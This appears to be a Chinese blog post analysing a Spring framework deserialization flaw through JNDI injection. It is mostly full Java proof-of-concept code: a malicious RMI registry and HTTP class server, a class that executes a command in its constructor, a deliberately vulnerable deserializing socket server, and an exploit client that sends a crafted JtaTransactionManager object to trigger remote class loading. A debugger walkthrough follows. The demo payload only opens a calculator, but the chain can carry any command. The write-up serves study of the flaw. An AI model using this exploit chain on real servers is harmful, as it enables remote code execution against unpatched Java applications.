zoukankan      html  css  js  c++  java
  • Spring framework 反序列化的漏洞

    理解这个漏洞需要先看freebuff上的jdni的小例子。
    jndi注入在jdk8u121绕过参考这俩篇文章:
    https://bl4ck.in/tricks/2019/01/04/JNDI-Injection-Bypass.html
    https://www.veracode.com/blog/research/exploiting-jndi-injections-java
    server端代码:

    import com.sun.jndi.rmi.registry.ReferenceWrapper;
    import com.sun.net.httpserver.HttpServer;
    
    import javax.naming.Reference;
    import java.io.IOException;
    import java.net.InetSocketAddress;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;
    
    public class JndiPoc {
        public static void lanuchCodebaseURLServer() throws IOException {
            System.out.println("Starting HTTP server");
            HttpServer httpServer = HttpServer.create(new InetSocketAddress(8009), 0);
            httpServer.createContext("/", new HttpFileHandler());
            httpServer.setExecutor(null);
            httpServer.start();
        }
        public static void lanuchRMIregister(String server_ip) throws Exception {
            System.out.println("Creating RMI Registry");
            Registry registry = LocateRegistry.createRegistry(2222);
            // 设置code url 这里即为http://127.0.0.1:8000/
            // 最终下载恶意类的地址为http://127.0.0.1:8000/ExportObject.class
            String evil_ip="http://"+server_ip+":8009/";
            Reference reference = new Reference("ExportObject", "ExportObject", evil_ip);
            // Reference包装类
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
    
            try {
                registry.bind("aa", referenceWrapper);
    
               // registry.bind("gsrc_ejbobject",referenceWrapper);
            }catch (Exception e){
                System.out.println("e.getCause().getCause().getCause().getMessage()");
            }
    
        }
        public static void main(String[] args) throws Exception {
            lanuchCodebaseURLServer();
            lanuchRMIregister("127.0.0.1");
        }
    
    }
    
    

    client代码:

    import javax.naming.*;
    public class Jndi_Client {
        public static void main(String[] args) throws Exception {
            String uri="rmi://121.195.170.196:2222/aa";
            Context ctx=new InitialContext();
            ctx.lookup(uri);
        }
    }
    

    lookup参数uri可控,将uri注入恶意ip的rmi服务,触发实例化恶意类构造方法调用。

    import java.io.BufferedInputStream;
    import java.io.BufferedReader;
    import java.io.InputStreamReader;
    public class ExportObject{
        /*
        public static void main(String args[]) throws Exception {
    
        }*/
    
        public ExportObject() throws Exception {
          String OS=  System.getProperty("os.name").toLowerCase();
            String cmd="open /Applications/Calculator.app";
    
          if(OS.indexOf("win")>=0)
          {
            cmd="calc.exe";
          }
    
         //String cmd="open /Applications/Calculator.app";
            Runtime.getRuntime().exec(cmd);
        }
    
    }
    


    下面具体看Spring framework 反序列化的漏洞
    Server端代码:

    imort java.io.*;
    import java.net.*;
    public class ExploitableServer {
    	public static void main(String[] args) {
    		try {
    		//本地监听1234端口
    			ServerSocket serverSocket = new ServerSocket(1234);
    			System.out.println("Server started on port "+serverSocket.getLocalPort());
    			while(true) {
    				Socket socket=serverSocket.accept();
    				System.out.println("Connection received from "+socket.getInetAddress());				
    				ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());
    				try {
    				//执行接收到类的readObject方法
    					Object object = objectInputStream.readObject();
    					System.out.println("Read object "+object);									
    				} catch(Exception e) {
    					System.out.println("Exception caught while reading object");									
    					e.printStackTrace();
    				}				
    			}
    		} catch(Exception e) {
    			e.printStackTrace();
    		}
    	}
    }
    

    client端:

    import java.io.*;
    import java.net.*;
    import java.rmi.registry.*;
    import com.sun.net.httpserver.*;
    import com.sun.jndi.rmi.registry.*;
    import javax.naming.*;
    
    
    public class ExploitClient {
    	public static void main(String[] args) {
    		try {
    			String serverAddress = "127.0.0.1";
    			int port = Integer.parseInt("1234");
    			String localAddress= "127.0.0.1";
    
    			System.out.println("Starting HTTP server");   //开启80端口服务
    			HttpServer httpServer = HttpServer.create(new InetSocketAddress(81), 0);
    			httpServer.createContext("/",new HttpFileHandler());
    			httpServer.setExecutor(null);
    			httpServer.start();
    			
    			System.out.println("Creating RMI Registry"); //绑定RMI服务到 1099端口 Object  提供恶意类的RMI服务
                Registry registry = LocateRegistry.createRegistry(1099);
                /*
                java为了将object对象存储在Naming或者Directory服务下,
                提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming和Directory服务下,
                比如(rmi,ldap等)。在使用Reference的时候,我们可以直接把对象写在构造方法中,
                当被调用的时候,对象的方法就会被触发。理解了jndi和jndi reference后,
                就可以理解jndi注入产生的原因了。
                 */ //绑定本地的恶意类到1099端口
            	Reference reference = new javax.naming.Reference("ExportObject","ExportObject","http://"+serverAddress+":81"+"/");
    			ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
                registry.bind("Object", referenceWrapper);
    
    			System.out.println("Connecting to server "+serverAddress+":"+port); //连接服务器1234端口
    			Socket socket=new Socket(serverAddress,port);
    			System.out.println("Connected to server");
    			String jndiAddress = "rmi://"+localAddress+":1099/Object";
    
    			//JtaTransactionManager 反序列化时的readObject方法存在问题 //使得setUserTransactionName可控,远程加载恶意类
    			//lookup方法会实例化恶意类,导致执行恶意类无参的构造方法
    			org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
    			object.setUserTransactionName(jndiAddress);
    			//上面就是poc,下面是将object序列化发送给服务器,服务器访问恶意类
    			System.out.println("Sending object to server...");
    			ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
    			objectOutputStream.writeObject(object);
    			objectOutputStream.flush();
    			while(true) {
    				Thread.sleep(1000);
    			}
    		} catch(Exception e) {
    			e.printStackTrace();
    		}
    	}
    }
    

    server与client交互流程:
    Alt text
    漏洞触发点:
    Alt text
    下断点调试,前面client都是绑定操作,直到执行到43行,将恶意的rmi地址写入:
    Alt text
    46行将恶意类发送到Server端,server端执行JtaTransactionManager类的readObject:
    Alt text
    跟到616行:
    Alt text
    f7跟到173行:
    Alt text
    继续f7跟到247行,调用了looup方法:
    Alt text
    继续跟进94行,name 传进的值是之前绑定的恶意类的地址,lookup方法会调用恶意类的构造方法。
    Alt text
    跟到恶意类构造方法,触发RCE.
    Alt text
    参考链接:
    https://www.freebuf.com/vuls/115849.html
    https://paper.seebug.org/312/

  • 相关阅读:
    java客户端集成RocketMq
    java8常见流式操作
    Spring源码架构以及编译
    Rocket消息存储原理
    由二叉树中序和先序遍历求二叉树的结构
    10.14重写ENqUEUE和DEQUEUE,使之能处理队列的下溢和上溢。
    10.12 说明如何用一个数组A[1..n]来实现两个栈,使得两个栈中的元素总数不到n时,两者都不会发生上溢,注意PUSH和POP操作的时间应为O(1)。
    用类模板实现对任何类型的数据进行堆栈进行存取操作。
    java struts2+urlrewrite 配置404错误
    c++ sizeof 及别名定义2种示例
  • 原文地址:https://www.cnblogs.com/afanti/p/10193169.html
Copyright © 2011-2022 走看看